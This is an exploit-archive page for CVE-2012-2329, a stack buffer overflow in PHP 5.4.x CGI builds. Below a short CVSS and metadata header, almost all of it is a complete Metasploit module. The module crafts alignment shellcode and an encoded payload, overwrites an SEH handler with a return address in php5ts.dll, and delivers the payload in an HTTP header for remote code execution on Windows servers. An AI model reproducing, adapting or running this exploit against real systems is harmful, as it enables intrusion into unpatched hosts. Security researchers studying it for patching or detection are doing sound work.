Exploit: PHP apache_request_headers Function Buffer Overflow ( Ascii Version )

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PHP apache_request_headers Function Buffer Overflow

Published
Credit
Risk
2012.06.19
Juan vazquez
High
CWE
CVE
Local
Remote
CWE-119
CVE-2012-2329
No
Yes

Plain text version

CVSS Base Score
Impact Subscore
Exploitability Subscore
5/10
2.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
None
None
Partial

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'PHP apache_request_headers Function Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in the CGI version of PHP
5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the
HTTP headers.

This module has been tested against the thread safe version of PHP 5.4.2,
from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com".
},
'Author' =>
[
'Vincent Danen', # Vulnerability discovery
'juan vazquez', # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2012-2329'],
[ 'OSVDB', '82215'],
[ 'BID', '53455'],
[ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ],
[ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1321,
'DisableNops' => true,
'BadChars' => "\x00\x0d\x0a\x5f\x80\x8e\x9e\x9f" + (0x41..0x5a).to_a.pack("C*") +
(0x82..0x8c).to_a.pack("C*") + (0x91..0x9c).to_a.pack("C*"),
'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe,
'EncoderOptions' =>
{
'BufferOffset' => 0x0
}
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe',
{
'Ret' => 0x1002aa79, # ppr from php5ts.dll
'Offset' => 1332
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 08 2012'))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']),
], self.class)

end

def exploit
print_status("Trying target #{target.name}...")

# Make ECX point to the start of the encoded payload
align_ecx = "pop esi\n" # "\x5e"
esi_alignment = target['Offset'] + # Space from the start of align_ecx to nseh handler
8 + # len(nseh + seh)
5 - # len(call back)
11 # len(align_ecx)
align_ecx << "add esi, -#{esi_alignment}\n" # "\x81\xC6" + 4 bytes imm (ex:
"\xCA\xFA\xFF\xFF")
align_ecx << "sub ecx, ecx\n" # "\x29\xC9"
align_ecx << "add ecx, esi" # "\x01\xf1"
sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string
# Encoded payload
sploit << payload.encoded
# Padding if needed
sploit << rand_text(target['Offset']-sploit.length)
# SEH handler overwrite
sploit << generate_seh_record(target.ret)
# Call back "\xE8" + 4 bytes imm (ex: "\xBF\xFA\xFF\xFF")
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['Offset']+8}").encode_string
# Make it crash
sploit << rand_text(4096 - sploit.length)

print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")

res = send_request_cgi({
'uri' => target_uri.to_s,
'method' => 'GET',
'headers' =>
{
"HTTP_X_#{rand_text_alpha_lower(4)}" => sploit,
}
})

if res and res.code == 500
print_status "We got a 500 error code. Even without a session it could be an exploitation signal!"
end

handler
end
end

References:

http://www.php.net/archive/2012.php#id2012-05-08-1
https://bugzilla.redhat.com/show_bug.cgi?id=820000

See this note in TXT Version

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Ascii Version